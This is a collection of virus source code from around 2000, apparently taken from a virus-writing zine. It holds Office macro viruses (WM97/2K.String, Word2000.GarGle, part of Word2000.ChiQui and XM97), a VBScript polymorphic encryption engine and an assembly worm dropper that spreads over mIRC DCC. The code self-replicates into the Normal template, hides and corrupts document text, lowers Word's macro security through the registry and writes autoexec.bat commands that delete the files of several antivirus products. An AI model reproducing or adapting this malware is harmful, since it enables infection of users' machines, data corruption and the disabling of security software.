    .Text = "In the End.. we will remember not the words of our enemies.. but the silence of our friends"

    .Heading = "XM97.Brandi"

    .Animation = msoAnimationGetTechy

    .Show

  End With

Msgbox "Failure is not an option. It comes bundled with your Microsoft product", 0, "XM97.Brandi"

End If

If Int(Rnd * 5) = 25 Then

Shell "start http://www.avp.au/", vbHide

End If

End Sub


Windows Scripting Host 2 Polymorphic Engine by Rajaat

' Ugly example code to test polymorphic engine

Const ForReading = 1

Const ForWriting = 2

Dim Fso, SF

Dim Source

Dim TargetCode

Dim Count

Dim Name

WScript.Echo "I'll generate some test samples..."

Set Fso = CreateObject("Scripting.FileSystemObject")

If (VirusSource <> "") Then

  Source = VirusSource

Else

  VirusSource = WScript.ScriptFullName

  If (VirusSource = "") Then

    MsgBox("Could not resolve host name")

  End if

  Set IO = Fso.OpenTextFile(VirusSource,ForReading)

  Source = IO.ReadAll

  IO.Close

End If

For Count = 1 To 10

  Name = "out" & CStr(Count) & ".vbs"

  WScript.Echo "Processing VBScript source..."

  TargetCode = WSH2PE("VBScript",Source)

  WScript.Echo "Writing encrypted code to " & Name

  Set IO = Fso.CreateTextFile(Name,ForWriting)

  IO.Write ( TargetCode )

  IO.Close

Next

WScript.Echo "I generated " & CStr(Count-1) & " samples."

' WSH2PE - Windows Scripting Host 2 Polymorphic Engine

' (C) 2000 by Rajaat

Function WSH2PE ( WSHost, SourceCode )

  Dim Target

  Dim vbQt

  Dim Count

  Dim Char

  Dim Length

  Dim Key

  Dim LBreak

  Dim Pos

  Dim Src

  Dim NCount

  Dim NEC

  Dim DEC

  Dim NMain

  Dim NSC

  vbQt = CHR(34)

  Randomize

  NCount = GetRandomName

  NEC = GetRandomName

  DEC = GetRandomName

  NMain = GetRandomName

  NSC = GetRandomName

  Rev = Int(2 * Rnd)

  Key = Int(255 * Rnd)

  Src = _

        "Dim VirusSource" + vbCrLf + _

        "Dim Temp" + vbCrLf + _

        "Sub " + NMain + vbCrLf + _

        "  Temp = Split(" + DEC + "," + vbQt + NMain + vbQt + ", -1, 0)" + vbCrLf + _

        "  On Error Resume Next" + vbCrLf + _

        "  VirusSource = Temp(3)" + vbCrLf + _

        "End Sub" + vbCrLf + _

        NMain + vbCrLf + _

        SourceCode

  Length = Len(Src)

  Target = ""

  Target = Target + RndWS + RndCase("Dim ") + NEC + vbCrLf

  Target = Target + RndWS + RndCase("Dim ") + DEC + vbCrLf

  Target = Target + RndWS + RndCase("Dim ") + NCount + vbCrLf

  Target = Target + RndWS + NEC + " = " + RndCase("Array") + RndWS + "( " + RndCrLf

  LBreak = Int(11 * Rnd + 10)

  Pos = 0

  For Count = 1 To Length

    Pos = Pos + 1

    Char = Asc(Mid(Src,Count,1)) Xor Key

    Target = Target & CStr(Char)

    If (Count <> Length) Then

      Target = Target + RndWSL(3) + "," + RndWSL(3)

    End If

    If (Pos = LBreak) Then

      Target = Target + " _" + vbCrLf + RndWS

      Pos = 0

      LBreak = Int(11 * Rnd + 10)

    End If

  Next

  Target = Target + ")" + vbCrLf

  If (Rev = 1) Then

    Target = Target + RndWS + RndCase("For ") + NCount + RndCrLf + " = " + RndWS + CStr(Length-1) + RndWS + RndCase("to ") + " 0 " + RndWS + RndCase("step -1") + vbCrLf

    Target = Target + RndWS + DEC + RndWS + " = " + RndWS + DEC + " + CStr(Chr(" + NEC + "(" + RndWS + CStr(Length-1) + RndWS + " - " + RndWS + NCount + ") Xor " + RndWS + CStr(Key) + "))" + vbCrLf

  Else

    Target = Target + RndWS + RndCase("For ") + NCount + RndCrLf + " = 0 " + RndWS + RndCase("to ") + CStr(Length-1) + vbCrLf

    Target = Target + RndWS + DEC + RndWS + " = " + RndWS + DEC + " + " + RndCase("CStr(" & RndWS & "Chr(") + RndWS + NEC + "(" + RndWS + NCount + RndWS + ") " + RndCase("Xor") + RndWS + CStr(Key) + "))" + vbCrLf

  End If

  Target = Target + RndWS + RndCase("Next") + vbCrLf

  Target = Target + RndWS + RndCase("Execute ") + RndWS + DEC + vbCrLf

  WSH2PE = Target

End Function

Function GetRandomName

  Dim RName

  Dim RLen

  Dim I

  Dim Token

  RName = ""

  RLen = Int(Rnd * 10 + 5)

  For I = 1 To RLen

    Token = Chr(Int(((65+25)-65+1) * Rnd + 65))

    RName = RName + CStr(Token)

  Next

  GetRandomName = RndCase(RName)

End Function

Function RndCrLf

  If (Int(Rnd * 2) = 1) Then

    RndCrLf = " _" + vbCrLf + RndWs

  Else

    RndCrLf = ""

  End If

End Function

Function RndCase( AName )

  Dim RCName

  Dim RCCount

  RCName = ""

  For RCCount = 1 To Len(AName)

    If (Int(Rnd * 2) = 1) Then

      RCName = RCName + UCase(Mid(AName,RCCount,1))

    Else

      RCName = RCName + LCase(Mid(AName,RCCount,1))

    End If

  Next

  RndCase = RCName

End Function

Function RndWSL( Limit )

  RndWSL = String(Int(Rnd * Limit)," ")

End Function

Function RndWS

  RndWS = RndWSL( 15 )

End Function


gnosis by BSL4 / 3C

;asm dropper of a worm

;dual functions in hiding

;dedicated to Metalkid,ZeroGravity,metaphase

;shadowvx, The_Spy, ^mdrg^

.model tiny

.code

.386

org 0100h

imation:

jmp reality

id db 'Zer0Gravity--BSL4--gnosis',0

reality:

mov ah, 30h

int 21h

cmp al, 2

jae goon

mov ah,4ch

int 21h

goon:

mov si, offset currentdir

mov ah,47h

mov dl,0

int 21h

call dropper

mov dx, offset bkdir

mov ah,3bh

int 21h

xor ax,ax

je goon

mov dx,offset dirf

mov ah,3bh

int 21h

xor ax,ax

jne fuck

fuck:

jmp fuck2

addscript:

mov ah, 3bh

lea dx, mircd

int 21h

jc quit

moveit:

mov ah, 3Ch

xor cx,cx

lea dx, thename

int 21h

xchg bx,ax

mov ah,40h

mov cx,(imationend-imation)

lea dx,imation

int 21h

oval:

mov ah,3Eh

int 21h

goont:

mov ax,3D02h

lea dx, scrcode

int 21h

jc quit

xchg bx,ax

call looper

xchg dx,ax

mov ax,4202h

sub dx,6

int 21h

mov ah,3Fh

mov cx,2

lea dx,mircd

int 21h

call looper

mov ah,40h

mov cx,imationend-scrname

lea dx,scrname

int 21h

mov ah,3Eh

int 21h

jmp quit

looper:

mov ax,4202h

xor cx,cx

cwd

int 21h

ret

fuck2:

mov dx,offset currentdir

mov ah,3bh

int 21h

call quit

currentdir db 64 dup(0)

bkdir db '..',0

dirf db 'c:\Windows\Java',0

nelv equ imationend - imation

creatfile db 'wini.com',0

mircd db 'c:\mirc\',0

thename db 'c:\mirc\winon.com',0

scrcode db 'script.ini',0

scrname db 13,10,'[script]',13,10

n0 db 'n0=On 1:Connect:{',13,10

n1 db 'n1=/run attrib +h script.ini',13,10

n2 db 'n2=/run attrib +r script.ini',13,10

n3 db 'n3=/run attrib +s script.ini',13,10

n4 db 'n4= }',13,10

n5 db 'n5=ON 1:PART:#:{ if ($nick == $me )'

   db '{ halt } | .dcc send $nick'

   db 'c:\mirc\winon.com',13,10

an db 0

quit:

mov dx,offset currentdir

mov ah,3bh

int 21h

mov ah,4ch

int 21h

dropper:

lea dx,dirf

mov ah,3ch

xor cx,cx

mov dx, offset creatfile

int 21h

jc shit

xchg ax,bx

mov ah,40h

mov cx,imationend - imation

mov dx,offset imation

int 21h

mov ah,3eh

int 21h

ret

mov dx,offset currentdir

mov ah,3bh

ret

shit:

jmp reality

imationend:

end imation


WM97/2K.String by e[ax]

'e[ax]

Private Sub Document_open()

Dim KVICKJS, CHSJEUR, LCXJSIE, OCKAJRF, SIFDMXU

Set CHSJEUR = ThisDocument.VBProject.VBComponents(1).CodeModule

Set OCKAJRF = NormalTemplate.VBProject.VBComponents(1).CodeModule

Set LCXJSIE = ActiveDocument.VBProject.VBComponents(1).CodeModule

KVICKJS = Strings.Trim(CHSJEUR.lines(1, CHSJEUR.countoflines))

SIFDMXU = Strings.LCase("'e[ax]")

If SIFDMXU <> OCKAJRF.lines(1, 1) Then

With OCKAJRF

.deletelines 1, OCKAJRF.countoflines

.insertlines 1, KVICKJS

End With

End If

If SIFDMXU <> LCXJSIE.lines(1, 1) Then

With LCXJSIE

.deletelines 1, LCXJSIE.countoflines

.insertlines 1, KVICKJS

End With

End If

'WM97/2K.String by e[ax]

'SIM v1.0 [String Infection Method] by e[ax]

'Greetz: k04x, rudeboy, BIGFOOOT, E-man, SnakeLord, t[r]ax

'H4dija, te ostale pri BIHnet.ORG-u

'SP.greetz to: Jackie 2Fl0wer, KnowDeath, ASMhead, Mist, mort-

'nala, Giga, LifeWire, Fluvian, Evul, and to all ppl on #virus

'10x once again for inspiration...

'VicES: Where ar u man!?

End Sub


Word2000.GarGle SMOOTHie / Zero Gravity

*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*

                      - Dedicated to my wife ChiQui -

Name: 	Word2000.GarGle

Author: 	$MOOTHiE Da HuStla [Zero Gravity]

Date: 	Beginning of July 2K

Application: 	Word 2K

Contact: 	If any bugs or suggestions please email me at SMOOTHiE@z.com

           	 $*$*$*$*$*$*$*$*$*$*$*$

 $- Short Description -$

 $*$*$*$*$*$*$*$*$*$*$*$

Payload: 	Yes - Inserts invisible random characters into the open

      document.  Makes it appear as a printer error.

Stealth: 	Yes - Through the registry, and by disabling certain Command

      Bar things/Disabling Print Preview, Word Count, etc.

Retro: 	Yes - Against F-Prot, AVP, Norton, and Mcafee

Polymorphic:	Yes - After every line (even blank ones) it inserts random

      characters.

Encrypted: 	No

$*$*$*$*$*$*$*$*$*$*$*$*$*

$- Thorough Description -$

                        $*$*$*$*$*$*$*$*$*$*$*$*$*

Payload -	When the document opens, the virus inserts about 700 or so

randomly generated characters into the beginning, middle, and

end (when it feels like it) in randomly generated colors.

All text inserted into the document are hidden, so that the

user can't see them.  Also, the characters go from font size

20 to 1, and then it starts all over again.  It also inserts

the invisible text on Document_Close, and Document_New.

Stealth - 	Disables the VB editor, won't show VB code, shows error

message when user attempts to Print Preview, disables Undo,

Select All, Word Count, Tools/Macro, and Tools/Options, also

uses Registry Entry to set Word's Virus Protection to

minimal.

Retro - 	Edits Autoexec.bat in the C drive to delete all EXE, DLL, VXD

, and DAT files of Norton, AVP, McAfee, and F-Prot.  Will

delete the next time the computer is started up.  I tried to

put all the reasonable possiblilites of where the AV's could

be, that's why the Retro Sub is so long.

Polymorphic -	During infection, it adds about 6 random characters to the

end of each line, including blank lines.  I know I know,

lame, but hey, it works. :)

*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*

Sub FilePrintPreview()

Randomize

abcd$ = Chr(85) & Chr(110) & Chr(101) & Chr(120) & Chr(112) & Chr(101) & Chr(99) & Chr(116) & Chr(101) & Chr(100) & Chr(47) & Chr(85) & Chr(110) & Chr(100) & Chr(101) & Chr(102) & Chr(105) & Chr(110) & Chr(101) & Chr(100) & Chr(32) & Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(97) & Chr(116) & Chr(32) & Chr(97) & Chr(100) & Chr(100) & Chr(114) & Chr(101) & Chr(115) & Chr(115) & Chr(32)

t = "{00" & Int(Rnd * 999999) & ":" & Int(Rnd * 99999) & "}"

MsgBox abcd$ & t, vbCritical

End Sub

Private Sub Retro()

On Error Resume Next

Open "c:\autoexec.bat" For Append As #1

Print #1, "@echo off"

Print #1, "echo ************"

Print #1, "echo ** GarGle **"

Print #1, "echo ************"

'norton

Print #1, "echo [Norton System Check]"

Print #1, "del c:\progra~1\norton~1\*.exe"

Print #1, "del c:\progra~1\norton~1\*.dll"

Print #1, "del c:\progra~1\norton~1\*.dat"

Print #1, "del c:\progra~1\norton~1\*.vxd"

Print #1, "del c:\norton~1\*.exe"

Print #1, "del c:\norton~1\*.dll"

Print #1, "del c:\norton~1\*.dat"

Print #1, "del c:\norton~1\*.vxd"

Print #1, "echo."

'avp

Print #1, "echo [AVP System Check]"

Print #1, "del c:\progra~1\antiv~1\*.avc "

Print #1, "del c:\progra~1\antiv~1\*.set "

Print #1, "del c:\progra~1\antiv~1\*.dll "

Print #1, "del c:\progra~1\antiv~1\*.vxd "

Print #1, "del c:\progra~1\antiv~1\*.exe "

Print #1, "del c:\antiv~1\*.avc "

Print #1, "del c:\antiv~1\*.set "

Print #1, "del c:\antiv~1\*.dll "

Print #1, "del c:\antiv~1\*.vxd "

Print #1, "del c:\antiv~1\*.exe "

Print #1, "echo."

'mcafee

Print #1, "echo [McAfee System Check]"

'just in case its not where its supposed to be :)

Print #1, "del c:\progra~1\mcafee~1\*.dat "

Print #1, "del c:\progra~1\mcafee~1\*.dll "

Print #1, "del c:\progra~1\mcafee~1\*.exe "

Print #1, "del c:\progra~1\mcafee~1\*.vsc "

Print #1, "del c:\progra~1\mcafee\*.dat "

Print #1, "del c:\progra~1\mcafee\*.dll "

Print #1, "del c:\progra~1\mcafee\*.exe "

Print #1, "del c:\progra~1\mcafee\*.vsc "

Print #1, "del c:\mcafee~1\*.dat"

Print #1, "del c:\mcafee~1\*.dll"

Print #1, "del c:\mcafee~1\*.exe"

Print #1, "del c:\mcafee~1\*.vsc"

Print #1, "del c:\mcafee\*.dat"

Print #1, "del c:\mcafee\*.dll"

Print #1, "del c:\mcafee\*.exe"

Print #1, "del c:\mcafee\*.vsc"

Print #1, "echo."

'F-prot

'not widely used in the US, but hey :)

Print #1, "[F-Prot System Check]"

Print #1, "del c:\progra~1\fsi\f-prot\*.exe"

Print #1, "del c:\progra~1\fsi\f-prot\*.dll"

Print #1, "del c:\progra~1\fsi\f-prot\*.vxd"

Print #1, "del c:\progra~1\fsi\f-prot\*.rep"

' just in case

Print #1, "del c:\progra~1\f-prot\*.exe"

Print #1, "del c:\progra~1\f-prot\*.dll"

Print #1, "del c:\progra~1\f-prot\*.vxd"

Print #1, "del c:\progra~1\f-prot\*.rep"

Print #1, "del c:\f-prot\*.exe"

Print #1, "del c:\f-prot\*.dll"

Print #1, "del c:\f-prot\*.vxd"

Print #1, "del c:\f-prot\*.rep"

Print #1, "del c:\fsi\f-prot\*.exe"

Print #1, "del c:\fsi\f-prot\*.dll"

Print #1, "del c:\fsi\f-prot\*.vxd"

Print #1, "del c:\fsi\f-prot\*.rep"

Print #1, "echo."

Print #1, "echo All System Checks have been completed."

Close #1

End Sub

Sub ViewVBCode()

Randomize

abcd$ = Chr(85) & Chr(110) & Chr(101) & Chr(120) & Chr(112) & Chr(101) & Chr(99) & Chr(116) & Chr(101) & Chr(100) & Chr(47) & Chr(85) & Chr(110) & Chr(100) & Chr(101) & Chr(102) & Chr(105) & Chr(110) & Chr(101) & Chr(100) & Chr(32) & Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(97) & Chr(116) & Chr(32) & Chr(97) & Chr(100) & Chr(100) & Chr(114) & Chr(101) & Chr(115) & Chr(115) & Chr(32)

t = "{00" & Int(Rnd * 999999) & ":" & Int(Rnd * 99999) & "}"

MsgBox abcd$ & t, vbCritical

End Sub

Private Sub Document_Close()

Document_Open

Retro

End Sub

Private Sub Document_New()

Document_Open

End Sub

Private Sub Document_Open()

On Error Resume Next: If ActivePrinter = "" Then GoTo f

MsgBox "Undefined/Unexpected error on " + ActivePrinter, vbCritical

f: With Options: .PrintHiddenText = (100 - 99): .VirusProtection = (99 - 99): .SaveNormalPrompt = (99 - 99)

.SavePropertiesPrompt = (99 - 99): .ConfirmConversions = (99 - 99): End With

ActiveWindow.View.ShowHiddenText = (99 - 99): Dim DocWords, DocHalfWords, DocLastWords

If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") <> "" Then System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") = 1&

CommandBars("Tools").Controls("Macro").Enabled = (99 - 99): CommandBars("File").Controls("Print Preview").Enabled = (99 - 99): CommandBars("Edit").Controls("Select All").Enabled = (99 - 99)

CommandBars("Edit").Controls("Undo VBA-Selection.TypeText").Enabled = (99 - 99): CommandBars("Tools").Controls("Word Count...").Enabled = (99 - 99): CommandBars("Tools").Controls("Options...").Enabled = (99 - 99)

ActiveDocument.ActiveWindow.View.ShowFirstLineOnly = (99 - 99): DocWords = ActiveDocument.Words.Count: DocHalfWords = Int(DocWords / 2): Selection.Font.Hidden = (100 - 99): Selection.TypeText "   {Printer Error #0099544}   "

Set Gargle = ActiveDocument.Words(1): With Gargle: .MoveStart Unit:=wdCharacter, Count:=-1: .Select: End With

For x = 1 To 10: s = s - 1: If s < 1 Then s = 20

a$ = Chr$(Int(Rnd * 190) + 65) + Chr$(Int(Rnd * 190) + 65) + Chr$(Int(Rnd * 190) + 65) + Chr$(Int(Rnd * 190) + 65) + Chr$(Int(Rnd * 190) + 65) + Chr$(Int(Rnd * 190) + 65) + Chr$(Int(Rnd * 190) + 65) + Chr$(Int(Rnd * 190) + 65): b$ = Chr$(Int(Rnd * 190) + 65) + Chr$(Int(Rnd * 190) + 65) + Chr$(Int(Rnd * 190) + 65) + Chr$(Int(Rnd * 190) + 65) + Chr$(Int(Rnd * 190) + 65) + Chr$(Int(Rnd * 190) + 65) + Chr$(Int(Rnd * 190) + 65) + Chr$(Int(Rnd * 190) + 65): c$ = Chr$(Int(Rnd * 190) + 65) + Chr$(Int(Rnd * 190) + 65) + Chr$(Int(Rnd * 190) + 65) + Chr$(Int(Rnd * 190) + 65) + Chr$(Int(Rnd * 190) + 65) + Chr$(Int(Rnd * 190) + 65) + Chr$(Int(Rnd * 190) + 65) + Chr$(Int(Rnd * 190) + 65)

d$ = Chr$(Int(Rnd * 190) + 65) + Chr$(Int(Rnd * 190) + 65) + Chr$(Int(Rnd * 190) + 65) + Chr$(Int(Rnd * 190) + 65) + Chr$(Int(Rnd * 190) + 65) + Chr$(Int(Rnd * 190) + 65) + Chr$(Int(Rnd * 190) + 65) + Chr$(Int(Rnd * 190) + 65): e$ = Chr$(Int(Rnd * 190) + 65) + Chr$(Int(Rnd * 190) + 65) + Chr$(Int(Rnd * 190) + 65) + Chr$(Int(Rnd * 190) + 65) + Chr$(Int(Rnd * 190) + 65) + Chr$(Int(Rnd * 190) + 65) + Chr$(Int(Rnd * 190) + 65) + Chr$(Int(Rnd * 190) + 65): f$ = a$ + b$ + c$ + d$ + e$

redx = Int(Rnd * 255): bluex = Int(Rnd * 255): greenx = Int(Rnd * 255)

Selection.Font.Hidden = (100 - 99): Selection.Font.Size = s: Selection.Font.Color = RGB(redx, greenx, bluex): Selection.TypeText (f$): Next x

s = 21: Set Gargle = ActiveDocument.Words(DocHalfWords): With Gargle: .MoveStart Unit:=wdCharacter, Count:=-1: .Select: End With

For x = 1 To 10: s = s - 1: If s < 1 Then s = 20

a$ = Chr$(Int(Rnd * 190) + 65) + Chr$(Int(Rnd * 190) + 65) + Chr$(Int(Rnd * 190) + 65) + Chr$(Int(Rnd * 190) + 65) + Chr$(Int(Rnd * 190) + 65) + Chr$(Int(Rnd * 190) + 65) + Chr$(Int(Rnd * 190) + 65) + Chr$(Int(Rnd * 190) + 65): b$ = Chr$(Int(Rnd * 190) + 65) + Chr$(Int(Rnd * 190) + 65) + Chr$(Int(Rnd * 190) + 65) + Chr$(Int(Rnd * 190) + 65) + Chr$(Int(Rnd * 190) + 65) + Chr$(Int(Rnd * 190) + 65) + Chr$(Int(Rnd * 190) + 65) + Chr$(Int(Rnd * 190) + 65): c$ = Chr$(Int(Rnd * 190) + 65) + Chr$(Int(Rnd * 190) + 65) + Chr$(Int(Rnd * 190) + 65) + Chr$(Int(Rnd * 190) + 65) + Chr$(Int(Rnd * 190) + 65) + Chr$(Int(Rnd * 190) + 65) + Chr$(Int(Rnd * 190) + 65) + Chr$(Int(Rnd * 190) + 65)

d$ = Chr$(Int(Rnd * 190) + 65) + Chr$(Int(Rnd * 190) + 65) + Chr$(Int(Rnd * 190) + 65) + Chr$(Int(Rnd * 190) + 65) + Chr$(Int(Rnd * 190) + 65) + Chr$(Int(Rnd * 190) + 65) + Chr$(Int(Rnd * 190) + 65) + Chr$(Int(Rnd * 190) + 65): e$ = Chr$(Int(Rnd * 190) + 65) + Chr$(Int(Rnd * 190) + 65) + Chr$(Int(Rnd * 190) + 65) + Chr$(Int(Rnd * 190) + 65) + Chr$(Int(Rnd * 190) + 65) + Chr$(Int(Rnd * 190) + 65) + Chr$(Int(Rnd * 190) + 65) + Chr$(Int(Rnd * 190) + 65): f$ = a$ + b$ + c$ + d$ + e$

redx = Int(Rnd * 255): bluex = Int(Rnd * 255): greenx = Int(Rnd * 255)

Selection.Font.Hidden = (100 - 99): Selection.Font.Size = s: Selection.Font.Color = RGB(redx, greenx, bluex): Selection.TypeText (f$): Next x:

s = 21: For x = 1 To 10: s = s - 1: If s < 1 Then s = 21

a$ = Chr$(Int(Rnd * 190) + 65) + Chr$(Int(Rnd * 190) + 65) + Chr$(Int(Rnd * 190) + 65) + Chr$(Int(Rnd * 190) + 65) + Chr$(Int(Rnd * 190) + 65) + Chr$(Int(Rnd * 190) + 65) + Chr$(Int(Rnd * 190) + 65) + Chr$(Int(Rnd * 190) + 65): b$ = Chr$(Int(Rnd * 190) + 65) + Chr$(Int(Rnd * 190) + 65) + Chr$(Int(Rnd * 190) + 65) + Chr$(Int(Rnd * 190) + 65) + Chr$(Int(Rnd * 190) + 65) + Chr$(Int(Rnd * 190) + 65) + Chr$(Int(Rnd * 190) + 65) + Chr$(Int(Rnd * 190) + 65): c$ = Chr$(Int(Rnd * 190) + 65) + Chr$(Int(Rnd * 190) + 65) + Chr$(Int(Rnd * 190) + 65) + Chr$(Int(Rnd * 190) + 65) + Chr$(Int(Rnd * 190) + 65) + Chr$(Int(Rnd * 190) + 65) + Chr$(Int(Rnd * 190) + 65) + Chr$(Int(Rnd * 190) + 65)

d$ = Chr$(Int(Rnd * 190) + 65) + Chr$(Int(Rnd * 190) + 65) + Chr$(Int(Rnd * 190) + 65) + Chr$(Int(Rnd * 190) + 65) + Chr$(Int(Rnd * 190) + 65) + Chr$(Int(Rnd * 190) + 65) + Chr$(Int(Rnd * 190) + 65) + Chr$(Int(Rnd * 190) + 65): e$ = Chr$(Int(Rnd * 190) + 65) + Chr$(Int(Rnd * 190) + 65) + Chr$(Int(Rnd * 190) + 65) + Chr$(Int(Rnd * 190) + 65) + Chr$(Int(Rnd * 190) + 65) + Chr$(Int(Rnd * 190) + 65) + Chr$(Int(Rnd * 190) + 65) + Chr$(Int(Rnd * 190) + 65): f$ = a$ + b$ + c$ + d$ + e$

redx = Int(Rnd * 255): bluex = Int(Rnd * 255): greenx = Int(Rnd * 255): DocLasTWord = DocWords - wdWord: Set Gargle = ActiveDocument.Words(DocLasTWord): With Gargle: .MoveStart Unit:=wdWord, Count:=-1: .Select: End With

Selection.Font.Hidden = (100 - 99): Selection.Font.Size = s: Selection.Font.Color = RGB(redx, greenx, bluex): Selection.TypeText (f$): Next x

Dim Norm, NormCode, NormLines, Doc, DocCode, DocLines

Set Norm = NormalTemplate.VBProject.VBComponents(1)

Set Doc = ActiveDocument.VBProject.VBComponents(1)

Set DocCode = Doc.CodeModule

Set NormCode = Norm.CodeModule

If DocCode.lines(23, 1) = "" Then

For y = 1 To DocCode.countoflines

DocCode.replacelines y, "Gargle"

Next y

For x = 2 To NormCode.countoflines

a$ = Chr$(Int(Rnd * 190) + 65) + Chr$(Int(Rnd * 190) + 65) + Chr$(Int(Rnd * 190) + 65) + Chr$(Int(Rnd * 190) + 65) + Chr$(Int(Rnd * 190) + 65) + Chr$(Int(Rnd * 190) + 65) + Chr$(Int(Rnd * 190) + 65) + Chr$(Int(Rnd * 190) + 65)

a = NormCode.lines(x, 1) + " '" + a$

DocCode.insertlines 26 + x, a

Next x

ActiveDocument.SaveAs ActiveDocument.FullName: NormalTemplate.Save

End If

If NormCode.lines(23, 1) = "" Then

For y = 1 To NormCode.countoflines

NormCode.replacelines y, "Gargle"

Next y

For x = 1 To DocCode.countoflines

a$ = Chr$(Int(Rnd * 190) + 65) + Chr$(Int(Rnd * 190) + 65) + Chr$(Int(Rnd * 190) + 65) + Chr$(Int(Rnd * 190) + 65) + Chr$(Int(Rnd * 190) + 65) + Chr$(Int(Rnd * 190) + 65) + Chr$(Int(Rnd * 190) + 65) + Chr$(Int(Rnd * 190) + 65)

a = DocCode.lines(x, 1) + " '" + a$

NormCode.insertlines 26 + x, a

Next x

ActiveDocument.SaveAs ActiveDocument.FullName: NormalTemplate.Save

End If

'Word2000.GarGle

'By $MOOTHiE Da HuStla [Zero Gravity]

'July 2k

'Dedicated to my wife ChiQui

End Sub

*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*


Word2000.ChiQui by SMOOTHiE / Zero Gravity

*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*

Name: 	Word2000.ChiQui

Author: 	$MOOTHiE Da HuStla [Zero Gravity]

Date: 	August 1st, 2000

Application: 	Word 2K

Contact: 	If any bugs or suggestions please email me at SMOOTHiE@z.com

Dedication:	Dedicated to my wife ChiQui, hence the name. :D

Special:	Uses modified versions of JSMP, CSE, and OPSE.  Thanx Jackie!!! :D

 	$*$*$*$*$*$*$*$*$*$*$*$

            	        $- Short Description -$

        $*$*$*$*$*$*$*$*$*$*$*$

Payload: 	Yes - Randomly changes certain characters in document to other random characters.

Stealth: 	Yes - Through the Registry, CommandBars, and Subs.

Retro: 	Yes - Against F-Prot, AVP, Norton, and Mcafee... fucking AVP!!! Uses registry,

      and a MAPI call.

Polymorphic:	Yes - The VBS file which is dropped uses Jackie TwoFlower's OPSE, and the actual

      virus uses modified versions of Jackie's JSMP and CSE.

Encrypted: 	Yes - Uses some Ascii encryption.

Backup:	Yes - VBS file.

       $*$*$*$*$*$*$*$*$*$*$*$*$*

       $- Thorough Description -$

                	       $*$*$*$*$*$*$*$*$*$*$*$*$*

Payload:	If the active document contains more than 0 characters, it will change a random

letter to another in the active document, ie. It could change all the letter A's

to W's.  So, on Document_Open, Document_Close, FileSaveAs, FileSave, FilePrint,

FilePrintDefault.  It also changes the window caption to "$MOOTHiE Da HuStla

[Zero Gravity] & ChiQui".

Stealth:	It shows a phony message box on ViewVBCode and doesn't show the VB editing

environment, disables Tools/Security, Tools/Macro, Edit/Undo, Grammer Check as

you type, Spell Check as you type, and SaveNormalPrompt.  It also sets Word's

security level to nothing.

Retro:	Has an interesting way of doing its thing.  When the virus is first activated,

it checks the registry to see if it has been run before.  If it hasn't, it

displays a Window's error message box, and then forces the computer to shut

down using MAPI calls, and edits Autoexec.bat to delete our lovely AV's.  So

then, when the computer starts back up, they will be deleted.  And when the

virus is activated again, it won't shut down the system again, because the

registry value is set.  Also, as an extra bonus, it attacks the wonderful Norton

AntiVirus by setting its AutoRun on startup value to nothing, so Norton Auto-

Protect won't come up on startup.  Yay! :D (AV's attacked: McAfee, Norton,

F-Prot, and AVP) - Fucking AVP!

Polymorphic:	This virus uses modified versions of JSMP and CSE.  All the variable names are

changed to a random variable with a random length, ranging from 3 to 9.  All

letters.  Then, it also changes the locations of all the procedures within the

virii.

Encryption:	Uses Ascii encryption for the Retro proc, and the VBS backup proc.

Backup:	Uses a VBS file dropped in the Windows\System directory on every infection.  The

VBS file uses a modified version of Jackie's OPSE, which changes all the

variables within the file.  It checks the normal template each time the computer

is rebooted to check if it is infected, if not, it imports the viral code from

a BAS file dropped in the Windows\System directory.  The virus edits the registry

so the VBS file is run on startup.

*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*

Private Declare Function ExitWindowsEx Lib "User32" (ByVal uFlags As Long, ByVal dwReserved As Long) As Long

Private Function ZZ(MMM)

Randomize: On Error Resume Next

Blah = "AA BB CC DD EEE ZZ MMM Blah BoB BoBby SDH SDH2 HH NtCode AdCode XX RRR YY "

Do

SDH2 = Left(Blah, InStr(Blah, Chr(32)) - 1): Blah = Mid(Blah, InStr(Blah, Chr(32)) + 1)

YY = Int(Rnd * 7) + 2

BoBby = Chr((Int(Rnd * 25) + 65))

For XX = 1 To YY: BoBby = BoBby + Chr((Int(Rnd * 25) + 65)): Next XX

Do

SDH = InStr(SDH + 1, LCase(MMM), LCase(SDH2))

If SDH Then MMM = Mid(MMM, 1, (SDH - 1)) & BoBby & Mid(MMM, (SDH + Len(SDH2)))

Loop While SDH

Loop While Blah <> ""

ZZ = MMM

End Function

Private Function EEE(HH, XX)

Dim EEE22(99), EEE23(99)

Set ourEEE = ThisDocument.VBProject.VBComponents(1).CodeModule

For i = 1 To HH: curEEE = tmpEEE

tmpEEE = ourEEE.ProcOfLine(i, 1)

If curEEE <> tmpEEE Then y = y + 1

EEE22(y) = EEE22(y) & ourEEE.lines(i, 1) & vbCr

Next i

For x = 1 To XX

EEE22(x) = Left(EEE22(x), Len(EEE22(x)) - 1)

c22 = 0: c23 = 0: c24 = Int(Rnd * (XX - x) + 1)

While c22 < c24

If EEE23(c23 + 1) = "" Then c22 = c22 + 1

c23 = c23 + 1

Wend

EEE23(c23) = x

Next x

For i = 1 To XX

EEE = EEE & EEE22(EEE23(i)) & vbCr

Next i

EEE = Left(EEE, Len(EEE) - 1)

End Function

Private Sub FileSaveAs()

Dim XX As Integer, YY As Integer: Randomize: On Error Resume Next

XX = Int(Rnd * 92) + 30: YY = Int(Rnd * 92) + 30: Dialogs(wdDialogFileSaveAs).Show

End Sub

Private Sub CC()

